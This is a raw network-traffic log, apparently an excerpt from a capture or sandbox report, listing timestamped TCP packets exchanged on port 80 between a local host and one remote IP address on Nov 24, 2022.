Nov 24, 2022 13:27:53.280505896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280524969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280533075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280554056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280559063 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280580997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280592918 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280608892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280618906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280636072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280637026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280648947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280662060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280685902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280688047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280713081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280719995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280739069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280744076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280761957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280765057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280775070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280791044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280800104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280817032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280827999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280844927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280853033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280872107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280884027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280900002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280913115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280926943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280940056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280953884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280965090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280980110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280992031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281006098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281017065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281034946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281044006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281060934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281073093 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281085014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281099081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281111002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281122923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281136036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281147003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281162024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281172991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281188965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281198025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281213999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281229019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281238079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281254053 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281264067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281274080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281290054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281301975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281315088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281327009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281342030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281352997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281368971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281383038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281397104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281408072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281424999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281434059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281454086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281461000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281481981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281491041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281508923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281518936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281537056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281544924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281559944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281562090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281574965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281586885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281610966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281611919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281634092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281634092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281650066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281657934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281672955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281683922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281701088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281708002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281728983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281730890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281742096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281754971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281770945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281780958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281794071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281805992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281815052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281831026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281832933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281848907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281856060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281867981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281881094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281907082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281919956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281932116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281946898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281959057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281970978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.281985044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.281997919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282026052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282049894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282059908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282077074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282077074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282092094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282102108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282110929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282130003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282138109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282155991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282166004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282183886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282193899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282210112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282217979 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282236099 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282243013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282243013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282262087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282286882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282305002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282313108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282330990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282339096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282355070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282363892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282388926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282403946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282403946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282413960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282424927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282440901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282465935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282489061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282490015 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282491922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282504082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282520056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282524109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282535076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282546997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282574892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282588005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282599926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282613039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282627106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282639027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282654047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282677889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282680035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282701015 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282705069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282717943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282730103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282738924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282753944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282763004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282778025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282785892 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282803059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282812119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282830000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282835960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282855034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282891989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282893896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282902956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282921076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282943010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282947063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282954931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.282972097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282996893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.282996893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283011913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283020973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283034086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283046961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283063889 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283071995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283096075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283097029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283118010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283126116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283133030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283150911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283173084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283176899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283186913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283205032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283216000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283231974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283246994 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283257961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283281088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283283949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283296108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283308983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283334970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283349037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283360958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283375025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283387899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283399105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283412933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283432961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283443928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283446074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283468962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283477068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283495903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283505917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283521891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283529997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283549070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283572912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283576965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283591986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283597946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283618927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283623934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283629894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283648968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283658981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283675909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283684969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283705950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283720970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283732891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283755064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283757925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283768892 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283783913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283811092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283818007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283834934 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283837080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283857107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283863068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283869982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283889055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283904076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283915997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283934116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283941031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283951044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283967018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.283974886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283991098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.283996105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284003973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284029007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284039974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284054995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284064054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284082890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284112930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284117937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284137011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284141064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284148932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284166098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284176111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284192085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284200907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284215927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284239054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284240007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284254074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284262896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284288883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284298897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284313917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284315109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284336090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284338951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284351110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284364939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284380913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284394026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284399986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284421921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284450054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284466028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284477949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284493923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284504890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284528971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284545898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284557104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284569025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284583092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284598112 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284607887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284622908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284632921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284662008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284668922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284683943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284691095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284709930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284719944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284728050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284745932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284748077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284760952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284775972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284790039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284802914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284827948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284840107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284853935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284877062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284883022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284909010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284918070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284935951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284964085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284965038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.284989119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.284989119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285003901 CET	49702	80	192.168.2.4	66.235.200.147
